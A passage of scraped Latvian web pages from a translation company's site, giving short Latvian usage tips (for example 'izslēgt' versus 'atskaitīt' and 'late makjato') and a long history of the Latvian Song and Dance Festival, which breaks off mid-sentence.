Vai no mācību iestādes atskaita vai izslēdz? Esam dzirdējuši sakām, ka no skolas, tehnikuma vai augstskolas audzēkņus atskaita. Tomēr „atskaitīt” šādā lietojumā uzskatāms par sarunvalodas vārdu. Vārda „atskaitīt” literārā nozīme ir 'skaitot, rēķinot atņemt'. Savukārt vārds „izslēgt” nozīmē 'izraidīt (no skolas, organizācijas u. tml. ), atņemot tiesības (tajā) atgriezties; atņemt tiesības piedalīties (kur), būt par (kā) dalībniekiem'. Tātad skolēnu var izslēgt no skolas, studentu var izslēgt no universitātes. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šo kafijas dzērienu? Ieskaties un uzzini! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-04-17 - Modified: 2025-03-19 - URL: https://skrivanek.lv/latte-macchiato-pret-late-makiato-pret-late-makjato/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LATTE MACCHIATO PRET LATE MAKIATO PRET LATE MAKJATO 1 Kā sauksim šo kafijas dzērienu? Latviešu valodā īpašvārdus (un nereti arī dažus nosaukumus) atveido pēc izrunas, savukārt vārdā „latte” ir līdzskaņa „t” dubultojums, kas saskaņā ar latviešu valodas pareizrakstības prasībām nav pieļaujams. Tātad itāļu valodā sauktais dzēriens „latte macchiato” saskaņā ar Latviešu valodas ekspertu komisijas 2013. gada lēmumu latviešu valodā rakstāms late makjato. Dosimies uz kafejnīcu un baudīsim kādu lati makjato! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uzzini, vai viesosimies ārvalstīs vai ārzemēs? Daudzi latviešu valodas padomi vienuviet! Būs noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-04-16 - Modified: 2024-11-11 - URL: https://skrivanek.lv/arvalstis-pret-arzemes/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ĀRVALSTIS PRET ĀRZEMES 1 Vai viesosimies ārvalstīs vai ārzemēs? Vārds „ārvalsts” nozīmē ‘cita valsts’, piemēram, „ārvalsts pilsonis” ir citas valsts pilsonis, „ārvalstu delegācija” – delegācija no citām valstīm. Vārds „ārzemes” nozīmē ‘zemes, valstis, kas atrodas aiz savas zemes, valsts robežām’. Šis vārds tiek lietots tikai daudzskaitlī, attiecinot uz zemēm, kas ir ārpus savējās. Ar vārdiem „ārvalstu” un „ārzemju” veidoti ļoti daudzi termini: „ārvalstu kapitāls”, „ārvalstu nauda”; „ārzemju konkurence”, „ārzemju nauda”. Apzīmētāja „ārvalstu” vai „ārzemju” lietojums tajos atkarīgs gan no laika, kad termins veidots, gan arī juridiskām niansēm. Ikdienas valodā šis šķīrums nav tik stingri noteikts. Tātad varam viesoties gan ārvalstīs, gan ārzemēs, doties gan ārvalstu, gan ārzemju ceļojumā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Viesnīcā reģistrēsimies recepcijā vai reģistratūrā? Vairāki latviešu valodas padomi vienuviet! Būs noderīgi gan lietišķajā saziņā, gan sadzīvē! - Published: 2018-04-16 - Modified: 2024-08-06 - URL: https://skrivanek.lv/recepcija-pret-registratura/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RECEPCIJA PRET REĢISTRATŪRA 1 Vai viesnīcā reģistrēsimies recepcijā vai reģistratūrā? Vārds „recepcija” aizgūts no latīņu vārda „receptio” ar nozīmi ‘pieņemšana’. To lieto divās nozīmēs: pirmajā nozīmē tā ir kādu sociālu vai kultūras elementu aizgūšana, piemēram, romiešu tiesību recepcija Rietumeiropā, otrajā nozīmē šo vārdu lieto, lai apzīmētu fizioloģisku procesu, kurā receptori uztver kairinātāja enerģiju un to pārvērš ierosā. Par reģistratūru savukārt dēvē iestādes nodaļu, kurā veic reģistrāciju, piemēram, poliklīnikas reģistratūra. Pēdējos gados, domājams, citu valodu ietekmē, par recepciju tiek dēvēta arī reģistratūra viesnīcā. Tiesa gan, tā kā arī viesnīcā mēs reģistrējamies, nevis, piemēram, recepcējamies, ieteicams tomēr lietot vārdu „reģistratūra”. Tātad viesnīcā mēs reģistrēsimies reģistratūrā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai, aizbraucot uz kādu eksotisku zemi, aklimatizēsimies vai atklimatizēsimies? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-16 - Modified: 2022-12-22 - URL: https://skrivanek.lv/aklimatizeties-pret-atklimatizeties/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AKLIMATIZĒTIES PRET ATKLIMATIZĒTIES 1 Vai, aizbraucot uz kādu eksotisku zemi, aklimatizēsimies vai atklimatizēsimies? Aklimatizēties nozīmē pielāgoties jauniem dzīves apstākļiem, jaunai videi. Vārds aizgūts no vācu vārda „akklimatisieren”, un tajā nav priedēkļa „at-”. Tātad, aizceļojušiem uz kādu eksotisku zemi, mums būs vajadzīgs laiks, lai aklimatizētos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai reizi piecos gados notiek dziesmu svētki, Dziesmu svētki vai dziesmusvētki? Ieskaties un uzzini atbildi! Noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-16 - Modified: 2024-07-08 - URL: https://skrivanek.lv/dziesmu-svetki-pret-dziesmusvetki/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DZIESMU SVĒTKI PRET DZIESMUSVĒTKI 1 Vai reizi piecos gados notiek dziesmu svētki, Dziesmu svētki vai dziesmusvētki? Par dziesmusvētkiem varam dēvēt ikvienu publisku koru dziedāšanas pasākumu brīvdabas estrādēs, kurā uzstājas vairāki kopēji kori. Savukārt par dziesmu un deju svētkiem dēvējam Vispārējos latviešu dziesmu un deju svētkus un Latvijas Skolu jaunatnes dziesmu un deju svētkus. Šo svētku norisi, sagatavošanas procesu un finansiālo un organizatorisko atbildību regulē Dziesmu un deju svētku likums. Sarunvalodā atkarībā no tā, kuriem svētkiem gatavojamies un kuri tuvojas, esam ieraduši par dziesmu svētkiem saukt gan Vispārējos latviešu dziesmu un deju svētkus, gan Latvijas Skolu jaunatnes dziesmu un deju svētkus. Cēlonis, visticamāk, meklējams tajā, ka dejas tradīcija svētkiem pievienojusies vēlāk, tomēr nedrīkstam aizmirst, ka svētkos ir gan dziesmas, gan dejas. Tā kā oficiālais svētku nosaukums ir Vispārējie latviešu dziesmu svētki, nevis Dziesmu svētki, nav iemesla to rakstīt ar lielo sākumburtu. Tātad 2018. gadā notiek XXVI Vispārējie latviešu dziesmu un XVI Deju svētki. Citi latviešu valodas padomi VISPĀRĒJIE LATVIEŠU DZIESMU UN DEJU SVĒTKI 1 Tā saka: „Kur trīs latvieši, tur koris”. Koru skaitu Latvijā lēš ap 400, un kas zina, cik latviešu koru ir visā pasaulē! Visos laikos, kad latvieši izceļojuši no dzimtās zemes ─ gan tagad, gan ekonomiskās emigrācijas laikos, jaunajās mītnes vietās ātri vien entuziastu grupiņas nodibina vienu vai otru dziedāšanas kopu. Un patiesi, koris ir tas, kas dod gandarījumu gan sanākot kopā, gan kopā veidojot mākslas darbu ─ dziesmu. „KAS LATVIETIM IR DZIESMU SVĒTKI? ” Tie ir mēģinājumi un atkal mēģinājumi, kad pēc garas darba dienas tumšā vakarā jāsēžas mašīnā, lai stundu vai ilgāk brauktu uz dziedāšanas vietu. Tie ir pašaizliedzīgie koru diriģenti un kormeistari, kas ierodas vienmēr – veseli vai slimi. Tās ir grūtās repertuāra dziesmas, kur piepūle tiek ne tikai balss saitēm, bet arī smadzenēm – kā to visu izdziedāt! Bet tas ir arī prieks katru nedēļu satikt savus labos draugus soprānus, altus, tenorus un baritonus. Tas ir neizskaidrojami pacilātais noskaņojums, kāds vienmēr rodas pēc mēģinājuma – gan plaušas izvēdinātas, gan joki izstāstīti un smiekli izsmieti. Tas ir lepnums par mūsu bagāto un seno mūzikas kultūru, tik unikālu nelielai tautai. Tas ir aizraujošais kustības un pārgalvīgais varēšanas prieks dejotājiem. Un, beidzot, tas ir visaptverošais gandarījums, kas pārņem pēc labi nodziedātas dziesmas, kad aizkustinājuma asaras acīs gan dziedātājiem, gan klausītājiem. Dziesmu un deju svētki ir šo sajūtu esence, kulminācija un daudzu tūkstošu kopīgs vienojošs garīgais spēks, kam nelīdzinās nekas cits pasaulē. Tas latvietim ir Dziesmu svētki. SVĒTKU RAKSTUROJUMS Vispārējie latviešu dziesmu un deju svētki ir unikāls latviešu tautas folkloras mantojumā un profesionālās mūzikas tradīcijās un jaunradē sakņots Latvijas kultūras fenomens, kurš vēstures gaitā ieguvis nācijas vienotības un nacionālās identitātes simbola nozīmi. Šī Latvijā izauklētā tradīcija ir paraugs, kā maza nācija spējusi veidot, attīstīt, nosargāt savas tautas nacionālās identitātes ideju vairāk nekā gadsimtu ilgā laika posmā. Tradīcijas pamatā ir spēcīga un paaudzēs pārmantota visaptveroša koru kustība un kopdziedāšanas tradīcija, tautas dejas, instrumentālās un tautas mūzikas tradīcijas, tautas māksla, amatniecība, folkloras kustība un daudzas citas cilvēka radošā gara izpausmes, kas laikam ritot attīstās un arvien bagātina šo tradīciju. Šie svētki ir pasaulē atzīts, izcils un ilglaicīgs, kultūras notikums Latvijā, būtiska latviskās identitātes daļa. Šim notikumam ir divi savstarpēji cieši saistīti aspekti: Dziesmu un deju svētki kā festivāls un kā kultūras process. Tieši kultūras process nodrošina festivāla iespēju, svētku pastāvēšanu un ilglaicīgu turpināšanos. Kopš pirmsākumiem 1873. gadā Dziesmu (un deju) svētki kā festivāls notikuši vidēji reizi 5, 8 gados, kultūras process ir nepārtraukts. Laika ritējumā Dziesmu svētki attīstījušies par daudzpusīgu nacionālās kultūras notikumu reizi piecos gados. Līdzās svētku dominējošajam aspektam – lielajam kopkorim, kura mākslinieciskā kvalitāte balstās a capella dziedāšanas tradīcijā (dziedāšana daudzbalsīgi bez instrumentāla pavadījuma), svētku saturs paplašinājies, ietverot tajos arī citus tautas mākslas žanrus kā deju, instrumentālo mūziku, pūtēju orķestru un kokļu mūziku, amatierteātru kustību, lietišķo mākslu, tautas tērpu parādi u. c. Dziesmu svētku tradīcija veidojusi jaunus kopdziedāšanas un kopdejošanas sarīkojumus. Kopš 1948. gada līdztekus Dziesmu svētkiem notiek arī Deju svētki, kopš 1960. gada – Vispārējie skolu jaunatnes dziesmu un deju svētki. Izveidojušās jaunas reģionālās svētku formas: Baltijas valstu dziesmu svētku tradīcijas ietekmē 1956. gadā izveidojušies Baltijas valstu studentu dziesmu un deju svētki „Gaudeamus”, kopš 1995. gada notiek Ziemeļvalstu un Baltijas valstu dziesmu svētki, tādējādi veicinot aktīvu starpvalstu kultūru sadarbību, un 2015. gadā Rīgā notika Pasaules koru olimpiāde. Vispārējo latviešu dziesmu un deju svētku vēsturē iezīmējas šādi periodi: priekšvēsture – tautiskās atmodas laikmets no 19. gs. vidus līdz 1873. gadam; periods – no 1873. gada līdz Pirmajam pasaules karam (I–V svētki); periods – neatkarīgā Latvija starpkaru periodā (VI–IX svētki); periods – padomju un vācu okupācijas laiks (X–XIX svētki); periods – neatkarības atjaunošana (1987. –91. ) un atjaunotās neatkarības laikmets (XX–XV svētki). 4. periods turpinās arī pēc 2013. gada. PRIEKŠVĒSTURE Dziesmu svētku pirmsākumi ir meklējami 19. gs. pirmajā pusē Vācijā, Austrijā un Šveicē. Sekojot šo zemju paraugam, Baltijas provinču pilsētās tika dibināti dziedāšanas pulciņi , kori un rīkoti dziedāšanas svētki. Plaša mēroga dziesmu svētki, kuros piedalījās vācbaltiešu kori, bija sarīkoti 1857. gadā Tallinā un 1861. gadā Rīgā. Dziesmu svētku ideju pārtvēra mācītājs un rakstnieks Juris Neikens, kurš 1864. gada pavasarī sarīkoja latviešu vīru koru dziedāšanas svētkus Dikļos, kuros piedalījās 6 kori ar 120 dziedātājiem. Tiem sekoja līdzīgi svētki dažādās vietās Vidzemē un Kurzemē, un 1870. gada vasarā tika sarīkoti Kurzemes dziedāšanas svētki Dobelē, kuros piedalījās 400 dziedātāju. Kamēr citās Eiropas valstīs šie svētki palika sekundāra kultūras parādība, kas pakāpeniski izzuda, Baltijas valstīs šī tradīcija attīstījās kā nacionālās pašapziņas spilgtākā forma. 19. gs, otrajā pusē koru kustības aizsākumam visnozīmīgākie bija lauku dziedāšanas biedrību un baznīcu koru rašanās. Tas radīja apstākļus, ka tautasdziesma, kas iepriekšējos gadsimtos bija iesakņojusies lauku sabiedrības muzikālajā vidē, caur pirmo latviešu komponistu radītajām tautasdziesmu apdarēm (Baumaņu Kārlis, Jānis Cimze) ienāca koru repertuārā. Pirmais periods Svētki notika Krievijas Impērijas Baltijas guberņās, Vitebskas guberņas latvieši, izņemot divus korus V svētkos, nepiedalījās. Lai iegūtu svētku atļauju, tos nācās pieskaņot kādam valstiski svarīgam pasākumam: II svētki – cara Aleksandra II (Александр II Николаевич) valdīšanas 25. gadskārtai, IV svētki – 100 gadu atcerei, kopš Kurzeme pievienota Krievijai, V svētki – 200 gadu atcerei, kopš Vidzeme pievienota Krievijai. Jau ar I svētkiem tika definētas tradīcijas galvenās norises – svētku gājiens, kopkora koncerti un koru sacensības jeb dziesmu karš. 1870. gadu sākumā nesen dibinātā Rīgas Latviešu biedrība uzņēmās Pirmo vispārīgo latviešu dziesmu svētku organizēšanu. Pirmie Dziesmu svētki norisinājās 1873. gada vasarā Rīgā, toreiz to nosaukums bija I Vispārīgie latviešu Dziedāšanas svētki. 1880. gadā tika organizēti II Vispārīgie latviešu Dziedāšanas svētki. Latvijai atrodoties Krievijas impērijas sastāvā, notika arī III, IV un V dziesmu svētki. IV dziesmu svētki bija līdz šim vienīgie, kuri nenotika Rīgā, bet gan Kurzemes guberņas galvaspilsētā Jelgavā. Otrais periods Svētki notika neatkarību ieguvušajā Latvijas valstī. Šajā laikā Latvijas amatierkori sasniedza atzīstami augstu līmeni. Pirmā pasaules kara laikā svētki nenotika. VI─IX svētki notika neatkarīgajā Latvijā. Pirmie trīs no tiem notika Esplanādē, bet IX svētki — Uzvaras laukumā. 1940. gada 15. un 16. jūnijā Daugavpilī notika Latgales dziesmu svētki. Nebūdami vispārējie dziesmu svētki, tie no citiem reģionāliem dziesmu svētkiem atšķīrās ar mērogu un vēsturisko kontekstu. Svētkos piedalījās apmēram 8000 dziedātāju ne tikai no Latgales, bet arī no citām Latvijas daļām, tos noklausījās vairāk nekā 50 000 apmeklētāju no visas Latvijas. Svētku nobeigumā trīsreiz skanēja Latvijas valsts himna, un tobrīd padomju tanki jau šķērsoja valsts robežu, sākdami Latvijas okupāciju. Trešais periods Otrā pasaules kara laikā svētki nenotika. X─XIX dziesmu svētki notika padomju laikā. 1948. gadā pirmo reizi svētkos piedalījās arī deju kolektīvi. Kopš 1955. gada svētki notiek Mežaparka estrādē. Kopš 1960. gada reizi piecos gados notiek arī Latvijas Skolu jaunatnes dziesmu un deju svētki. Svētki notika Padomju Sociālistisko Republiku Savienības (PSRS) okupētajā Latvijā. Tie tika iekļauti sovjetizētās kultūras sistēmas pašdarbības kategorijā, un to rīkošanai tika radīta īpaša valsts struktūra. Lai pārtrauktu saistību ar iepriekšējiem svētkiem, tika sākta jauna dziesmu svētku numerācija. Svētki tika pakļauti totalitārai cenzūrai un ideoloģizācijai, tos ikreiz veltot režīmam nozīmīgām jubilejām, būtisku repertuāra daļu veidoja skaņdarbi, kas apliecināja lojalitāti padomju varai. Jau sākot ar X svētkiem, to norisē tika iekļauti deju kopu (toreiz – kolektīvu) koncerti, sportistu un mākslas vingrotāju demonstrējumi, bērnu un skolēnu dziedāšanas un dejošanas priekšnesumi. Patstāvīgi Latvijas Skolu jaunatnes dziesmu un deju svētki pirmoreiz notika dažas nedēļas pirms XIII Vispārējiem latviešu dziesmu un IV Deju svētkiem. X Vispārējie latviešu dziesmu un I Deju svētki ar nosaukumu Latviešu dziesmu svētku septiņdesmitpiecgadei veltītie Padomju Latvijas pirmie dziesmu svētki notika Rīgā 1948. gada 19. –22. jūlijā. Pieaugušo kopkorī bija 14 542 dziedātāji, bērnu kopkorī 5141 dziedātājs, deju kopu koncertos 921 dejotājs, apvienotajā pūtēju orķestrī piedalījās 199 mūziķi. Ceturtais periods Svētki notika un joprojām turpinās neatkarību atjaunojušajā Latvijā. Izņēmums ir XX svētki, kas formāli notika vēl padomju okupācijas apstākļos, tomēr attiecībā uz repertuāra veidošanu tie vairs nebija pakļauti totalitārai cenzūrai. Šajos svētkos pirmo reizi pēckara gados piedalījās pasaules latviešu kori un diriģenti, tie iezīmēja arī būtiski jaunu norises modeli, kas tika lietots un attīstīts turpmākajos svētkos. Tomēr vairāki elementi, piemēram, svētku organizēšanas vairākpakāpju modelis, deju kopu un pūtēju orķestru sacensības, deju iekļaušana kopkoru koncertos, deju lieluzvedumi sporta stadionā tika pārņemti no 3. perioda un lietoti 4. periodā. No 3. perioda nekritiski pārņemti arī vairāki termini – deju kolektīvs, vieskolektīvs, tautas kolektīvs, ierindas koris, zonālā skate, republikāniskā skate, koru salidojums un citi. DZIESMU SVĒTKU KAROGS Neatņemama Dziesmu un deju svētku sastāvdaļa ir gājiens un karogs, ko tajā nes ar lielu godu. Šis karogs ir tikpat sens kā paši Dziesmu svētki. Un, kā izrādās, tam ir arī savs noslēpums. Dziesma, deja, kopības izjūta, saviļņojums – Dziesmu svētkus pārsvarā raksturo netverami lielumi, taču ir vismaz viens taustāms simbols, kas raksturo svētku būtību un tas ir Līgo karogs. Zīda pavedieniem izšūto audeklu katros dziesmu svētkos stalti nes kā goda zīmi – gājienu priekšgalā – taču svētku starplaikā to glabā muzejā kā relikviju. Karogu speciāli šuva uz pirmajiem latviešu dziesmu svētkiem 1873. gadā, noskatot priekšzīmi no jau Rīgā izdziedātajiem vācu dziesmu svētkiem. Viņiem bija savs karogs un latvieši negribēja atpalikt. Bagātas latviešu kundzes un jaunkundzes saziedoja naudu un no balta zīda, sarkana samta, zelta brokāta to šūdināja Leipcigā, Karaliskā galma izšūšanas darbnīcā. Izšūtajā bildē tiek pielūgta Līgo – Līgas dieve, līksmības un draudzības dieve. Viņa ir kā moto Dziesmu svētkiem. Redzams vecs vaidelotis baltās drānās, viņš stāv pie kupla ozola, tur ir altāris, ozola zars viņam rokā, viņš upurē Līgas dievei, lai skan dziesmas. Lai latvieši vienojas dziesmā. Tomēr karogs nes kādu noslēpumu – nav zināms romantiskā tēla autors. Viena versija ir par gleznotāju Kārli Hūnu, bet tam nav īstu pierādījumu, citi min Artūru Baumani, kurš tajā laikā gan vēl bija mazs zēns. Vēl cits minējums ir, ka autors varētu būt pats Baumaņu Kārlis, Latvijas himnas autors. Tieši viņš sarūpēja karogam kātu un visādi citādi cieši iesaistījās svētku rīkošanā. Viņš bija pats arī zīmētājs, viņš skolās pasniedza kaligrāfiju. Viņš bija cieši saistīts ar Dziesmu svētku organizēšanas komiteju. Muzeja krājumos ir vēstule, kurā viņš sarakstās ar latviešu biedrību un tur skaistā Baumaņa rokrakstā ir uzrakstīts vārds „Līgo”. 99% atdarina šo uzrakstu karogā. Patiesībā svētkos karoga oriģinālu nenes – tapusi karoga kopija. Oriģināls ir sargājams un vertikālā stāvoklī nemaz nav nesams. Māksliniekiem izdevās visai veiksmīgi relikviju atdarināt, tomēr ir detaļas, kas nav atkārtojamas. DZIESMU SVĒTKI SVEŠUMĀ Beidzoties Otrajam pasaules karam, liela daļa nācijas bija izklīdināta gan uz Austrumiem, gan Rietumiem. Salīdzinoši labāki apstākļi Rietumu diasporā ļāva jau pirmajos pēckara gados realizēt dažāda veida māksliniecisko darbību – uzturēt kordziedāšanas tradīcijas un organizēt plašākus kultūras festivālus. 1947. gadā notika pirmie diasporas dziesmu svētki Eslingenē, tajos piedalījās 24 kori ar apmēram 1000 dziedātāju. Kopš tā laika dziesmu svētki (dienas) notikuši gan Eiropā, gan Ziemeļamerikā, gan Austrālijā. I Eiropas latviešu dziesmu svētki, veltīti Dikļu dziesmu dienas simtgadei, notika 1964. gadā Hamburgā; II – veltīti Latvijas valsts proklamēšanas 50 gadu atcerei, – Hannoverē 1968. gadā; III – veltīti latviešu dziesmu svētku un Latvijas valsts himnas simtgadei, – Ķelnē 1973. gadā; IV – Londonā 1977. gadā; V – Līdsā 1982. gadā; VI – Helsingborgā 1989. gadā. 1949. gadā sākās dziesmu dienas Anglijā, galvenokārt, kā atkārtoti sarīkojumi, vienu programmu nodziedot divās vai pat trīs pilsētās: pirmās – Londonā un Līdsā 1949. gadā; otrās – Lesterā un Londonā 1950. gadā; trešās – Londonā, Lesterā un Bredfordā 1951. gadā. Pēdējās (11) – Lesterā 1986. gadā. Kopējais sarīkojumu skaits – 19. I Amerikas Savienoto Valstu latviešu vispārējie dziesmu svētki notika Čikāgā 1953. gadā, dziedātāju un klausītāju kopskaits bija apmēram 6500 cilvēku. II svētki notika Ņujorkā 1958. gadā; III, IV un V – Klīvlendā 1963. , 1968. un 1973. gadā; VI – Bostonā 1978. gadā; VII – Milvoki 1983. gadā; VIII – Indianapolē 1988. gadā. IX svētki bija plānoti Filadelfijā, bet nenotika. X svētki – Klīvlendā 1997. gadā; XI – Čikāgā 2002. gadā. Kopš 1962. gada latviešu dziesmu svētki ik pa diviem vai trim gadiem notikuši Amerikas Savienotajās Valstīs un Kanādas Rietumkrastā: Sietlā (I – 1962. gadā; VI – 1975. gadā; XII – 1992. gadā), Portlendā (II – 1965. gadā; IX – 1982. gadā), Sanfrancisko (III – 1967. gadā, VIII – 1979. gadā, XIV – 2003. gadā), Losandželosā (IV – 1970. gadā, VII – 1977. gadā, XI – 1989. gadā, XIII – 1999. gadā), Vankūverā (V – 1972. gadā, X – 1985. gadā). Kanādas latviešu dziesmu svētku kustība aizsākās ar dziesmu dienu 1952. gadā un dziesmu svētkiem 1953. gadā, visi svētki notikuši Toronto ik pa četriem vai pieciem gadiem: I – 1953. gadā, II – 1957. gadā, III – 1961. gadā, IV – 1965. gadā, V – 1970. gadā, VI – 1976. gadā, VII – 1981. gadā, VIII – 1986. gadā, IX – 1991. gadā, X – 1996. gadā, XI – 2000. gadā. Austrālijas latviešu kopkora koncerts iekļauts gandrīz ik gadu notiekošajās kultūras dienās, kas kopš 1951. gada rotācijas kārtībā notika dažādās pilsētās: Sidnejā, Melburnā, Adelaidē, Brisbenā. Vēlāk pievienojās arī citas pilsētas – Pērta no 1964. gada, Kanbera no 1982. gada. Kultūras dienas rīkotas arī Kraistčērčā Jaunzēlandē 1967. gadā un Lonsestonā Tasmānijas salā 1984. gadā. Lai dziedātu pēc iespējas tuvāk okupētās Latvijas 